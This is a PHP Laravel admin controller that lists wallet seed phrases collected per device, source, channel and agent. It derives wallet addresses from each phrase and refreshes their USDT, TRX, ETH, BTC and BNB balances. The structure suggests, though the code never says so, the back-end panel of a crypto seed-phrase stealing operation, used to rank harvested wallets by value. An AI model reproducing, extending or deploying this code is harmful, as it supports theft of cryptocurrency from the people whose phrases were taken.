Files
coruna-lab/app/Http/Controllers/Admin/MnemonicController.php
T
2026-08-24 06:49:07 +08:00

228 lines
7.6 KiB
PHP

<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\MnemonicWalletDiscovery;
use App\Services\WalletBalanceService;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\RateLimiter;
class MnemonicController extends Controller
{
use PortalAware;
private const REFRESH_DECAY_SECONDS = 60;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
$sources = WalletMnemonic::query()
->whereNotNull('source')
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source');
return view('admin.mnemonics.index', [
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'source', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('wallet_mnemonics.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'source' => $row->source ?: '',
'mnemonic' => WalletMnemonic::adminLabel($row->mnemonic),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function wallets(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery)
{
if (! $this->mnemonicAllowed($mnemonic)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$discovery->discoverIndexZero($mnemonic);
return response()->json([
'code' => 0,
'msg' => '',
'data' => $this->walletsPayload($mnemonic),
]);
}
public function refreshWallets(
WalletMnemonic $mnemonic,
WalletBalanceService $balances,
MnemonicWalletDiscovery $discovery,
) {
if (! $this->mnemonicAllowed($mnemonic)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$throttleKey = 'mnemonic-wallets-refresh:'.$mnemonic->id;
if (RateLimiter::tooManyAttempts($throttleKey, 1)) {
$seconds = RateLimiter::availableIn($throttleKey);
return response()->json([
'code' => 1,
'msg' => '刷新过于频繁,请 '.$seconds.' 秒后再试',
'data' => ['retry_after' => $seconds],
], 429);
}
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
$discovery->discoverIndexZero($mnemonic);
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->orderBy('id')
->get();
$ok = 0;
$fail = 0;
foreach ($addresses as $address) {
// WalletBalanceService::refresh persists coin columns onto wallet_addresses.
if ($balances->refresh($address)) {
$ok++;
} else {
$fail++;
}
}
// Re-read from wallet_addresses so the popup shows persisted rows.
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => array_merge($this->walletsPayload($mnemonic), [
'refreshed' => $ok,
'failed' => $fail,
'retry_after' => self::REFRESH_DECAY_SECONDS,
]),
]);
}
private function mnemonicAllowed(WalletMnemonic $mnemonic): bool
{
$allowed = WalletMnemonic::query()
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
->where('wallet_mnemonics.id', $mnemonic->id);
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
return $allowed->exists();
}
/**
* @return array{mnemonic_id: int, source: string, refresh_url: string, addresses: list<array<string, mixed>>}
*/
private function walletsPayload(WalletMnemonic $mnemonic): array
{
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->orderBy('id')
->get();
$data = $addresses->map(function (WalletAddress $addr) {
$coins = $addr->formattedCoins();
return [
'id' => $addr->id,
'address' => $addr->address,
'chain_type' => $addr->chain_type ?: '',
'source' => $addr->source ?: '',
'derive_index' => $addr->derive_index,
'usdt' => $coins['usdt'],
'trx' => $coins['trx'],
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
];
})->values()->all();
return [
'mnemonic_id' => $mnemonic->id,
'source' => $mnemonic->source ?: '',
'refresh_url' => route($this->portal().'.mnemonics.wallets.refresh', $mnemonic->id),
'addresses' => $data,
];
}
private function baseQuery(Request $request): Builder
{
$q = WalletMnemonic::query()
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
->select([
'wallet_mnemonics.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($source !== '') {
$q->where('wallet_mnemonics.source', $source);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter(
$q,
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
);
}
return $q;
}
}